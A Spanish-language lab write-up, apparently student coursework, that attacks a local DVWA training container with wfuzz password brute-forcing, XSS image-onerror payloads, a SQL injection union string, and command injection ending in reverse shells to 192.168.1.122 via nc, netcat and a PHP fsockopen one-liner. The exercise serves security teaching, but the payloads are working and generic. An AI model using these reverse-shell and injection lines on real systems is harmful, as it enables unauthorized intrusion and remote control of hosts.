# AUDITORÍA DE SEGURIDAD
---
El objetivo de esta actividad es obtener nociones básicas sobre algunos ataques que se pueden llevar a cabo sobre aplicaciones web identificando y explotando las vulnerabilidades que éstas sufren.
---
## Lanzar escenario
El escenario empleado es La aplicación web DVWA es una aplicación web que sufre vulnerabilidades de manera expresa y tiene como objetivo ofrecer un entorno controlado de aprendizaje para poner a prueba las habilidades de las que se dispone como atacante. Para lanzar el escenario emplearemos docker, ya que es mucho más rápido y sencillo de desplegar frente a una máquina virtual. Para lanzar el escenario debemos tener instalado docker, una vez instalador podemos lanzar el escenario con el siguiente comando:
```bash
docker run --rm -it -p 80:80 vulnerables/web-dvwa
```
Una vez lanzado podemos ver como se nos abre el promt los logs del contenedor y tendremos escuchando en el puerto 80 la aplicación web vulnearble:
En este punto ya tendríamos casi desplegado eñl escenario, hay que crear la BBDD interna y establecer el nivel seguridad bajo para el login web. Para ello acuda con un navegador a la dirección [http://localhost](http://localhost).
Las credenciales de acceso para el usuario admin son **``admin:password``**.
Por tanto, procedemos a crear la base de datos de ususario de la aplicación web vulnearble, haciendo click en *create/reset database*.
Recordemos que una vez se haya establecido la aplicación web vulnerable se ha de establecer el nivel de seguridad (dificultad) de la app a bajo (*low*). A continuación, en la siguiente figura se puede ver como se ha configurado la apliación:
En este punto ya estaría configurado todo el escenari ode ataque, por lo que procederemos a realizar los distintos ataques de la práctica.
---
## Ataque 1: Fuerza bruta
Para la realización de esta parte de la práctica, necesita utilizar diferentes herramientas de automatización de peticiones y diccionarios de usuarios y contraseñas. Nosotros utilizaremos la herrmaienta [``wfuzz``](https://github.com/xmendez/wfuzz).
Los diccionarios a utilizar son los siguientes:
* [Seclist](https://github.com/danielmiessler/SecLists)
* [ProbWors](https://github.com/berzerk0/Probable-Wordlists)
* [Rockyou](https://www.kali.org/tools/wordlists/)
Partiremos de analizar la estructura de petición y repsuesta del login con Burp a petición del profesor, aunque con wireshark lo podmeos hacer de una forma más sencialla...
### Estructura de las peticiones yrespuestas del formulario del login
Para ver la estructura de las peticiones y respuestas del login utilizaremos Burp. Burp actuará como proxy, el cual analizará el tráfico intercambiado entre e lnavegador y el servidor web, así como nos permitirá deterner el flujo de la comunicación interceptando los paquetes.
A continuación, se indica la GUI de Burp en la cual habrá que habilitar la campura de paquetes así como la intercepción de los mismos. Por último, para poder interceptar el tráfico sin tener que configurar nuestro navegador convencional, así como los certificados de confianza de la herramienta, se recomineda emplear el navegador integrado que ya se encuentra preconfigurado (es un chromiun base).
Por tanto, podremos hacer un forward o un drop de cada paquete interceptado por el proxy Burp. En la siguiente figura se ve como ha sido interceptado el login principal de la aplicación vulnerable:
Una vez se ha configurado Brup para interceptar el tráfico entre el navegador y el servidor web, vamos a la página del login a explotar y vamos aa interceptar el tráfico de petición y el de respuesta.
En la siguiente figura se muestra la intercepción de una petición al formulario de login. Se han enviado unas credenciales que se saben que van a fallar, **``aaa:aaa``**, para ver como van formateados el user y la password.
Si hacemos zoom, podemos ver como van formateado el user y el password en las query params en una petición HTTP de tipo GET. Ojo tambien a las cookies que se emplean para autenticarse de cara a la apliación web vulnearble, ya que estamos atacando al formulario del interior de la app.
Si analizamos la respuesta del formulario podemos ver como viene formateada la respuesta. En este caso podemos comprobar el caso de respuesta de login fallido:
Si el login ha resultado satisfactorio, vamos a probar con los credenciales de **``admin:password``**, veremos que la página devuelta cambia sustancialmente:
### Hora de romper cosas :smile_cat:
Hay que reventar **tres** usuarios de esta lista:
* gordonb
* 1337
* pablo
* smithy
Recordemos el formato de la petición:
```bash=
http://localhost/vulnerabilities/brute/?username=USER&password=PASSWORD&Login=Login#
```
Hay que fuzzear esa URL añadiendo las cookies indicadas a continuación:
```bash=
security=low;
PHPSESSID=nvfr6p8ohagj9c52kdl8lr5c25;
security=low
```
### User: pablo | pass: letmein
---
### User: smithy | pass: password
---
### User: 1337 | pass: charley
---
## Ataque 2: Cross Site Scripting
En este apartado de la práctica se van a realizar ataques de tipo Coss Site Scripting (XSS). En este ataque vamos atacar una vulnerabilidad de tipo XSS, por lo que vamos al apartado indicado, y vamos a explotar el XSS tanto en low como en medium.
Si nos fijamos todo lo que indiquemos en la textbox se verá reflejado en el div de abajo:
Vamosa meter un poco de js:
### low level
```htmlmixed=
<img src='bensemaaa' onerror="alert('guardiolaaa guarro')"/>
```
### medium level
```htmlmixed=
<img src='bensemaaa' onerror="alert('guardiolaaa guarro')"/>
```
## Ataque 3: SQL Injection (SQLi)
Un ataque de tipo SQLi es un ataque de inyección de código y consiste en la ejecución de código malicioso en
la base de datos (capa de almacenamiento de la aplicación Web). Nuevamente, la vulnerabilidad reside en la falta de control sobre los datos que provienen del usuario, por lo que éste puede inyectar código interpretable por la base de datos.
Espaca las comillas el muy cerdo:
Vamos a meter un id -1
-1' union select @@version,1#
## Ataque 4: Remote Code Execution (RCE)
Un ataque de tipo RCE es un ataque de inyección de código de sistema y consiste en la ejecución de código malicioso interpretable por una shell de sistema. Una vez más, la vulnerabilidad reside en la falta de control sobre los datos que provienen del usuario, por lo que éste puede inyectar código interpretable por el intérprete de comandos de sistema.
Si nos vamos a la página principal de la inyección de código podemos ver como nos están pidioendo que le suministremos una IP para realizar ping:
Si probamos hacer ping a una IP, por ejemplo al DNS de Google, podemos ver como nos indica en el panel inferior el resultado de dicho PING:
Por lo que podemos presuponer que se está realizando una trabajo en el backend similar a los siguiente:
```bash
ping -c 4 {input_text}
```
Si además de la IP ponemos un comando adicional de forma secuencial, debería ejecutarse tmabién. Por ello, vamos a indicar con **`&&`** que se ejecute el comando introducido a continuación si solo si, el ping se ha realizado satisfactoriamente. Por ejemplo, vamos a probar lo siguiente:
```bash
ping -c 4 {8.8.8.8 && echo hola}
```
Como podemos ver en la siguiente figura el funcionamiento es el esperado:
Una vez que ya entendemos como podemos ejecutar comandos en la máquina a explotar, vamos a realizar una reverse shell a la máquina. Primero en nuestra máquina vamos a poner a escuchar con nc (netcat) en un puerto determinado, y vamos a ejecutar una shell inversa contra nuestra máquina.
Se han realizado varios intentos para ejecutar la shell inversa, hasta conseguir obtenerla:
### Primer intento de shell inversa (**`nc`**)
```bash
192.168.1.122 && nc -e /bin/sh 192.168.1.122 5000
```
Al parecer no encuentra el comando `nc`...
Sin embargo estamos en una máquina Linux, ya que si ejecutamos un `uname -a` podemos comprobarlo:
Vamos a seguir con el comando `netcat`
### Segundo intento de shell inversa (**`netcat`**):
```bash
192.168.1.122 && netcat 192.168.1.122 5000 -e /bin/sh
```
Tampoco ha parecido funcionar...
### Tercer intento.. vamos a pensar un poquito :smiling_face_with_smiling_eyes_and_hand_covering_mouth:
Vamos a pensar un poco, aunque no tenga netcat, probablemente tenga un stack LAMP o similares, vamos a mirar si tiene PHP instalado:
Bingo! :) Ya lo tenemos, mirando la siguiente [referencia](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#php), y ejecutamos la siguiente linea:
```bash=
ping 8.8.8.8 && php -r '$sock=fsockopen("192.168.1.122",5000);exec("/bin/sh -i <&3 >&3 2>&3");'
```
Tenemos shell :smile_cat:, vamos hacer que la shell sea más utlizable (pillar prompt, que funcionen las flechas de desplazamiento, macros..)
Y tenemos ya la terminal lista:
Medium
```bash
1 || uname -a
```
Sign in with Wallet
Connect another wallet